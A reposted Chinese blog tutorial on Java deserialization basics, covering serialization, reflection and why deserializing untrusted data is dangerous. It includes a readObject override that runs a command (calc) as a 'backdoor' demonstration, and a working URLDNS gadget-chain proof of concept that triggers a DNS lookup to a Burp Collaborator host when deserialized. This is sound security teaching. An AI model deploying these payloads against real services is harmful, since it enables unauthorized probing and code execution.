gpt4 book ai didi

java反序列化基础

转载 作者:我是一只小鸟 更新时间:2023-02-10 22:31:13 26 4
gpt4 key购买 nike

前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下 。

参考文章: https://blog.csdn.net/mocas_wang/article/details/107621010 。

01.什么是序列化与反序列化

其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象.

下面来演示一下使用io流自带的接口进行序列化与反序列化:

1.首先定义一个Person类用于序列化的操作 。

                            
                               1
                            
                            
                              import
                            
                            
                               java.io.Serializable;

                            
                            
                               2
                            
                            
                              //
                            
                            
                              必须继承Serializable接口才可被序列化
                            
                            
                               3
                            
                            
                              public
                            
                            
                              class
                            
                             Person 
                            
                              implements
                            
                            
                               Serializable {

                            
                            
                               4
                            
                            
                              private
                            
                            
                               String name;

                            
                            
                               5
                            
                            
                              private
                            
                            
                              int
                            
                            
                               age;

                            
                            
                               6
                            
                            
                               7
                            
                            
                              public
                            
                             Person(String name, 
                            
                              int
                            
                            
                               age) {

                            
                            
                               8
                            
                            
                              this
                            
                            .name =
                            
                               name;

                            
                            
                               9
                            
                            
                              this
                            
                            .age =
                            
                               age;

                            
                            
                              10
                            
                            
                                  }

                            
                            
                              11
                            
                            
                              12
                            
                            
                              public
                            
                            
                               Person() {

                            
                            
                              13
                            
                            
                                  }

                            
                            
                              14
                            
                            
                              15
                            
                            
                                  @Override

                            
                            
                              16
                            
                            
                              public
                            
                            
                               String toString() {

                            
                            
                              17
                            
                            
                              return
                            
                             "Person{" +

                            
                              18
                            
                                             "name='" + name + '\'' +

                            
                              19
                            
                                             ", age=" + age +

                            
                              20
                            
                                             '}'
                            
                              ;

                            
                            
                              21
                            
                            
                                  }

                            
                            
                              22
                            
                             }
                          
View Code

2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果 。

                          
                            1
                          
                          
                            public
                          
                          
                            static
                          
                          
                            void
                          
                          
                             main(String[] args) {

                          
                          
                            2
                          
                                   Person person = 
                          
                            new
                          
                           Person("aa",22
                          
                            );

                          
                          
                            3
                          
                          
                                    System.out.println(person);

                          
                          
                            4
                          
                               }
                        

  。

  。

 3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中 。

                          
                            1
                          
                          
                            public
                          
                          
                            static
                          
                          
                            void
                          
                           serialize(Object obj) 
                          
                            throws
                          
                          
                             IOException{

                          
                          
                            2
                          
                                   ObjectOutputStream oos = 
                          
                            new
                          
                           ObjectOutputStream(
                          
                            new
                          
                           FileOutputStream("ser.bin"
                          
                            ));

                          
                          
                            3
                          
                          
                                    oos.writeObject(obj);

                          
                          
                            4
                          
                               }
                        

  。

  。

 4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象 。

                            
                               1
                            
                            
                              import
                            
                            
                               java.io.FileInputStream;

                            
                            
                               2
                            
                            
                              import
                            
                            
                               java.io.FileNotFoundException;

                            
                            
                               3
                            
                            
                              import
                            
                            
                               java.io.IOException;

                            
                            
                               4
                            
                            
                              import
                            
                            
                               java.io.ObjectInputStream;

                            
                            
                               5
                            
                            
                               6
                            
                            
                              public
                            
                            
                              class
                            
                            
                               UnserializeTest {

                            
                            
                               7
                            
                            
                              public
                            
                            
                              static
                            
                             Object unserialize(String Filename) 
                            
                              throws
                            
                            
                               IOException, ClassNotFoundException {

                            
                            
                               8
                            
                                     ObjectInputStream ois  = 
                            
                              new
                            
                             ObjectInputStream(
                            
                              new
                            
                            
                               FileInputStream(Filename));

                            
                            
                               9
                            
                                     Object obj =
                            
                               ois.readObject();

                            
                            
                              10
                            
                            
                              return
                            
                            
                               obj;

                            
                            
                              11
                            
                            
                                  }

                            
                            
                              12
                            
                            
                              13
                            
                            
                              public
                            
                            
                              static
                            
                            
                              void
                            
                             main(String[] args) 
                            
                              throws
                            
                            
                               IOException, ClassNotFoundException {

                            
                            
                              14
                            
                                     Person person = (Person)unserialize("ser.bin"
                            
                              );

                            
                            
                              15
                            
                            
                                      System.out.println(person);

                            
                            
                              16
                            
                            
                                  }

                            
                            
                              17
                            
                             }
                          
View Code

  。

  。

 tips:

  • 必须实现Serializable接口的类才可被序列化
  • 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
  • transient标识的对象成员变量是不可以被序列化的

那么为什么会产生安全问题呢?

只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力 。

如何利用?

首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等) 。

1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:

                            
                              1
                            
                            
                              private
                            
                            
                              void
                            
                             readObject(ObjectInputStream ois) 
                            
                              throws
                            
                            
                               IOException, ClassNotFoundException {

                            
                            
                              2
                            
                            
                                      ois.defaultReadObject();

                            
                            
                              3
                            
                                     Runtime.getRuntime().exec("calc"
                            
                              );

                            
                            
                              4
                            
                                 }
                          
View Code

2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用 。

3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用 。

Java反射机制

通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制 。

参考文章: https://blog.csdn.net/weiwenhou/article/details/103650422 。

总结一下:

  • 反射的作用:让java具有动态性
  • 修改已有对象的属性
  • 动态的生成对象
  • 动态的调用方法
  • 操作内部类和私有方法

在反序列化漏洞中的应用:

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类

简单使用 。

                            
                               1
                            
                            
                              import
                            
                            
                               java.lang.reflect.Constructor;

                            
                            
                               2
                            
                            
                              import
                            
                            
                               java.lang.reflect.Field;

                            
                            
                               3
                            
                            
                              import
                            
                            
                               java.lang.reflect.Method;

                            
                            
                               4
                            
                            
                               5
                            
                            
                              public
                            
                            
                              class
                            
                            
                               ReflectionTest {

                            
                            
                               6
                            
                            
                              public
                            
                            
                              static
                            
                            
                              void
                            
                             main(String[] args) 
                            
                              throws
                            
                            
                               Exception {

                            
                            
                               7
                            
                                     Person person = 
                            
                              new
                            
                            
                               Person();

                            
                            
                               8
                            
                                     Class c =
                            
                               person.getClass();

                            
                            
                               9
                            
                            
                              //
                            
                            
                              反射就是操作Class

                            
                            
                              10
                            
                            
                              11
                            
                            
                              //
                            
                            
                              从原型class里面实例化对象

                            
                            
                              12
                            
                            
                              //
                            
                            
                              c.newInstance(); 无参,无法使用
                            
                            
                              13
                            
                                     Constructor personconstructor =  c.getConstructor(String.
                            
                              class
                            
                            ,
                            
                              int
                            
                            .
                            
                              class
                            
                            
                              );

                            
                            
                              14
                            
                                     Person p = (Person) personconstructor.newInstance("abc",22
                            
                              );

                            
                            
                              15
                            
                            
                                      System.out.println(p);

                            
                            
                              16
                            
                            
                              //
                            
                            
                              获取类里面的属性

                            
                            
                              17
                            
                            
                              //
                            
                            
                              c.getFields();只能打印public的属性

                            
                            
                              18
                            
                            
                              //
                            
                            
                              c.getDeclaredFields()都可以打印
                            
                            
                              19
                            
                                     Field[] personfields =
                            
                                c.getDeclaredFields();

                            
                            
                              20
                            
                            
                              for
                            
                            
                               (Field f:personfields){

                            
                            
                              21
                            
                            
                                          System.out.println(f);

                            
                            
                              22
                            
                            
                                      }

                            
                            
                              23
                            
                            
                              //
                            
                            
                              获取单个
                            
                            
                              24
                            
                                     Field namefield = c.getField("name"
                            
                              );

                            
                            
                              25
                            
                                     namefield.set(p,"testedit");
                            
                              //
                            
                            
                              需要一个示例
                            
                            
                              26
                            
                            
                                      System.out.println(p);

                            
                            
                              27
                            
                            
                              //
                            
                            
                              修改私有变量
                            
                            
                              28
                            
                                     Field agefield = c.getDeclaredField("age"
                            
                              );

                            
                            
                              29
                            
                                     agefield.setAccessible(
                            
                              true
                            
                            );
                            
                              //
                            
                            
                              允许访问私有变量
                            
                            
                              30
                            
                                     agefield.set(p,33
                            
                              );

                            
                            
                              31
                            
                            
                                      System.out.println(p);

                            
                            
                              32
                            
                            
                              //
                            
                            
                              调用类里面的方法
                            
                            
                              33
                            
                                     Method[] personMethods =
                            
                               c.getDeclaredMethods();

                            
                            
                              34
                            
                            
                              for
                            
                            
                              (Method m:personMethods){

                            
                            
                              35
                            
                            
                                          System.out.println(m);

                            
                            
                              36
                            
                            
                                      }

                            
                            
                              37
                            
                            
                              //
                            
                            
                              获取单个方法
                            
                            
                              38
                            
                                     Method actionmethod = c.getMethod("action",String.
                            
                              class
                            
                            
                              );

                            
                            
                              39
                            
                                     actionmethod.invoke(p,"testaction");
                            
                              //
                            
                            
                              调用触发
                            
                            
                              40
                            
                            
                                  }

                            
                            
                              41
                            
                             }
                          
View Code

URL-DNS链

首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?

其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下.

                            
                               1
                            
                            
                              import
                            
                            
                               java.io.FileOutputStream;

                            
                            
                               2
                            
                            
                              import
                            
                            
                               java.io.IOException;

                            
                            
                               3
                            
                            
                              import
                            
                            
                               java.io.ObjectOutputStream;

                            
                            
                               4
                            
                            
                              import
                            
                            
                               java.lang.reflect.Field;

                            
                            
                               5
                            
                            
                              import
                            
                            
                               java.net.URL;

                            
                            
                               6
                            
                            
                              import
                            
                            
                               java.util.HashMap;

                            
                            
                               7
                            
                            
                               8
                            
                            
                              public
                            
                            
                              class
                            
                            
                               SerializationTest {

                            
                            
                               9
                            
                            
                              public
                            
                            
                              static
                            
                            
                              void
                            
                             serialize(Object obj) 
                            
                              throws
                            
                            
                               Exception{

                            
                            
                              10
                            
                                     ObjectOutputStream oos = 
                            
                              new
                            
                             ObjectOutputStream(
                            
                              new
                            
                             FileOutputStream("ser.bin"
                            
                              ));

                            
                            
                              11
                            
                            
                                      oos.writeObject(obj);

                            
                            
                              12
                            
                            
                                  }

                            
                            
                              13
                            
                            
                              14
                            
                            
                              public
                            
                            
                              static
                            
                            
                              void
                            
                             main(String[] args) 
                            
                              throws
                            
                            
                               Exception {

                            
                            
                              15
                            
                            
                              //
                            
                            
                                      Person person = new Person("aa",22);

                            
                            
                              16
                            
                            
                              //
                            
                            
                                      System.out.println(person);

                            
                            
                              17
                            
                            
                              //
                            
                            
                                      serialize(person);
                            
                            
                              18
                            
                                     HashMap<URL,Integer> hashMap = 
                            
                              new
                            
                             HashMap<URL, Integer>
                            
                              ();

                            
                            
                              19
                            
                            
                              //
                            
                            
                              一开始不能发起请求        
                            
                            
                              //
                            
                            
                              把url对象的hashcode改成不是-1
                            
                            
                              20
                            
                                     URL url = 
                            
                              new
                            
                             URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net"
                            
                              );

                            
                            
                              21
                            
                                     Class c =
                            
                               url.getClass();

                            
                            
                              22
                            
                                     Field hashcode = c.getDeclaredField("hashCode"
                            
                              );

                            
                            
                              23
                            
                                     hashcode.setAccessible(
                            
                              true
                            
                            
                              );

                            
                            
                              24
                            
                                     hashcode.set(url,1
                            
                              );

                            
                            
                              25
                            
                                     hashMap.put(url,1
                            
                              );

                            
                            
                              26
                            
                            
                              //
                            
                            
                              现在可以把hashcode给改回来
                            
                            
                              27
                            
                                     hashcode.set(url,-1
                            
                              );

                            
                            
                              28
                            
                            
                                      serialize(hashMap);

                            
                            
                              29
                            
                            
                                  }

                            
                            
                              30
                            
                             }
                          
View Code

  。

 

最后此篇关于java反序列化基础的文章就讲到这里了,如果你想了解更多关于java反序列化基础的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com